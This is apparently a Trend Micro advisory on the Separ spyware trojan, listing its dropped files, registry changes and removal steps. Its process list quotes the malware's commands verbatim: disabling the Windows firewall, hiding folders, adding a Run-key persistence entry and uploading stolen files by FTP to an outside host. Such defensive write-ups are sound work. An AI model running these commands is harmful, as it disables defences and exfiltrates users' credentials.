TrojanSpy.Win32.SEPAR.D
BAT/PSW.Separ.K trojan(NOD32); Trojan-Spy.BAT.Agent.aa(KASPERSKY);
Windows
Threat Type: Trojan Spy
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
2,686,635 bytes
EXE
Yes
19 Feb 2020
Arrival Details
This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan Spy drops the following files:
- %AppDataLocal%\4Adobe\4low\7922.jpg
- %AppDataLocal%\4Adobe\4low\870.afr
- %AppDataLocal%\4Adobe\4low\__tmp_rar_sfx_access_check_{random numbers}
- %AppDataLocal%\4Adobe\4low\adbr01.exe
- %AppDataLocal%\4Adobe\4low\adbr02.exe
- %AppDataLocal%\4Adobe\4low\Adob09.vbs
- %AppDataLocal%\4Adobe\4low\Adobeta.exe
- %AppDataLocal%\4Adobe\4low\aijw01.bat
- %AppDataLocal%\4Adobe\4low\aijw02.bat
- %AppDataLocal%\4Adobe\4low\aijw03.bat
- %AppDataLocal%\4Adobe\4low\BReader.exe
- %AppDataLocal%\4Adobe\4low\sun.afr
- %AppDataLocal%\4Adobe\4low\ZREA.vbs
- %Application Data%\Adobe\Adobe INC\AadobeRead\011.011
- %Application Data%\Adobe\Adobe INC\AadobeRead\012.012
- %Application Data%\Adobe\Adobe INC\AadobeRead\112.112
- %Application Data%\Adobe\Adobe INC\AadobeRead\7922.jpg
- %Application Data%\Adobe\Adobe INC\AadobeRead\870.afr
- %Application Data%\Adobe\Adobe INC\AadobeRead\adbr01.exe
- %Application Data%\Adobe\Adobe INC\AadobeRead\adbr02.exe
- %Application Data%\Adobe\Adobe INC\AadobeRead\adip2.klc
- %Application Data%\Adobe\Adobe INC\AadobeRead\Adob09.vbs
- %Application Data%\Adobe\Adobe INC\AadobeRead\Adobeta.exe
- %Application Data%\Adobe\Adobe INC\AadobeRead\aijw01.bat
- %Application Data%\Adobe\Adobe INC\AadobeRead\aijw02.bat
- %Application Data%\Adobe\Adobe INC\AadobeRead\aijw03.bat
- %Application Data%\Adobe\Adobe INC\AadobeRead\BReader.exe
- %Application Data%\Adobe\Adobe INC\AadobeRead\sun.afr
- %Application Data%\Adobe\Adobe INC\AadobeRead\ZREA.vbs
- %User Temp%\9F86B0A0.TMP
- %User Temp%\Login Data
(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It adds the following processes:
- "%System%\WScript.exe" "%User Profile%\ZREA.vbs"
- cmd /c ""%AppDataLocal%\4Adobe\4low\aijw02.bat" /quiet /norestart"
- xcopy /y /h /e /r /k /c *.* "%Application Data%\Adobe\Adobe Inc\AadobeRead\"
- attrib +r +a +s +h "%Application Data%\Adobe\Adobe Inc\AdobeRead"
- attrib +r +a +s +h "%Application Data%\Adobe Reader\AdobeR"
- attrib +r +a +s +h "%Application Data%\Adobe Reader\ADBR\READER"
- attrib +r +a +s +h "%Application Data%\AdobeR\ADBR\READER"
- attrib +r +a +s +h "%Application Data%\AdobeR"
- attrib +r +a +s +h "%Application Data%\RAdobe\RADBR\AREADER"
- "%System%\WScript.exe" "%Application Data%\Adobe\Adobe Inc\AadobeRead\Adob09.vbs"
- cmd /c ""%Application Data%\Adobe\Adobe INC\AadobeRead\aijw03.bat" /quiet /norestart"
- Adobeta.exe -x -x -x -d -gentbta34o -s:gentbta34o.gentbta34o ftp.freehostia.com -gentbta34o
- REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "colalct85653" /t REG_SZ /F /D "%Application Data%\Adobe\Adobe Inc\AdobeRead\aijw01.bat"
- ipconfig /all
- adbr01.exe -f "011.011"
- adbr02.exe -f "112.112"
- netsh firewall set opmode disable
- netsh advfirewall set currentprofile state off
- netsh advfirewall set profiles state off
- NetSh Advfirewall set allprofiles state off
- Adobeta.exe -a -c -d -natpasv -s:870.afr ftp.freehostia.com
- Adobeta.exe -a -c -d -natpasv -s:sun.afr ftp.freehostia.com
- BReader 5359
Other System Modifications
This Trojan Spy adds the following registry entries:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
colalct85653 = %Application Data%\Adobe\Adobe Inc\AdobeRead\aijw01.bat
HKEY_CURRENT_USER\Software\Licenses
{random characters} = {hex values}
HKEY_CURRENT_USER\Software\Licenses
{random characters} = 08 00 00 00
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
RFC1156Agent\CurrentVersion\Parameters
TrapPollTimeMilliSecs = 15000
Other Details
This Trojan Spy adds the following registry keys:
HKEY_CURRENT_USER\Software\Licenses
HKEY_CURRENT_USER\System\CurrentControlSet\
Control\NetTrace
HKEY_CURRENT_USER\System\CurrentControlSet\
Control\NetTrace\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
RFC1156Agent
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
RFC1156Agent\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
RFC1156Agent\CurrentVersion\Parameters
It connects to the following possibly malicious URL:
- ftp.{BLOCKED}stia.com
SOLUTION
9.850
15.694.04
19 Feb 2020
15.695.00
20 Feb 2020
Step 1
Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:
Step 2
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 3
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 4
Restart in Safe Mode
Step 5
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- colalct85653 = "%Application Data%\Adobe\Adobe Inc\AdobeRead\aijw01.bat"
- colalct85653 = "%Application Data%\Adobe\Adobe Inc\AdobeRead\aijw01.bat"
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RFC1156Agent\CurrentVersion\Parameters
- TrapPollTimeMilliSecs = "15000"
- TrapPollTimeMilliSecs = "15000"
- In HKEY_CURRENT_USER\Software\Licenses
- {random characters} = "{hex values}"
- {random characters} = "{hex values}"
- In HKEY_CURRENT_USER\Software\Licenses
- {random characters} = "08 00 00 00"
- {random characters} = "08 00 00 00"
Step 6
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software
- Licenses
- Licenses
- In HKEY_CURRENT_USER\System\CurrentControlSet\Control
- NetTrace
- NetTrace
- In HKEY_CURRENT_USER\System\CurrentControlSet\Control\NetTrace
- Session
- Session
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
- RFC1156Agent
- RFC1156Agent
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RFC1156Agent
- CurrentVersion
- CurrentVersion
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RFC1156Agent\CurrentVersion
- Parameters
- Parameters
Step 7
Search and delete this file
- %AppDataLocal%\4Adobe\4low\7922.jpg
- %AppDataLocal%\4Adobe\4low\870.afr
- %AppDataLocal%\4Adobe\4low\__tmp_rar_sfx_access_check_481060
- %AppDataLocal%\4Adobe\4low\adbr01.exe
- %AppDataLocal%\4Adobe\4low\adbr02.exe
- %AppDataLocal%\4Adobe\4low\Adob09.vbs
- %AppDataLocal%\4Adobe\4low\Adobeta.exe
- %AppDataLocal%\4Adobe\4low\aijw01.bat
- %AppDataLocal%\4Adobe\4low\aijw02.bat
- %AppDataLocal%\4Adobe\4low\aijw03.bat
- %AppDataLocal%\4Adobe\4low\BReader.exe
- %AppDataLocal%\4Adobe\4low\sun.afr
- %AppDataLocal%\4Adobe\4low\ZREA.vbs
- %Application Data%\Adobe\Adobe INC\AadobeRead\011.011
- %Application Data%\Adobe\Adobe INC\AadobeRead\012.012
- %Application Data%\Adobe\Adobe INC\AadobeRead\112.112
- %Application Data%\Adobe\Adobe INC\AadobeRead\7922.jpg
- %Application Data%\Adobe\Adobe INC\AadobeRead\870.afr
- %Application Data%\Adobe\Adobe INC\AadobeRead\adbr01.exe
- %Application Data%\Adobe\Adobe INC\AadobeRead\adbr02.exe
- %Application Data%\Adobe\Adobe INC\AadobeRead\adip2.klc
- %Application Data%\Adobe\Adobe INC\AadobeRead\Adob09.vbs
- %Application Data%\Adobe\Adobe INC\AadobeRead\Adobeta.exe
- %Application Data%\Adobe\Adobe INC\AadobeRead\aijw01.bat
- %Application Data%\Adobe\Adobe INC\AadobeRead\aijw02.bat
- %Application Data%\Adobe\Adobe INC\AadobeRead\aijw03.bat
- %Application Data%\Adobe\Adobe INC\AadobeRead\BReader.exe
- %Application Data%\Adobe\Adobe INC\AadobeRead\sun.afr
- %Application Data%\Adobe\Adobe INC\AadobeRead\ZREA.vbs
- %User Temp%\9F86B0A0.TMP
- %User Temp%\Login Data
Step 8
Restart in normal mode and scan your computer with your Trend Micro product for files detected as TrojanSpy.Win32.SEPAR.D. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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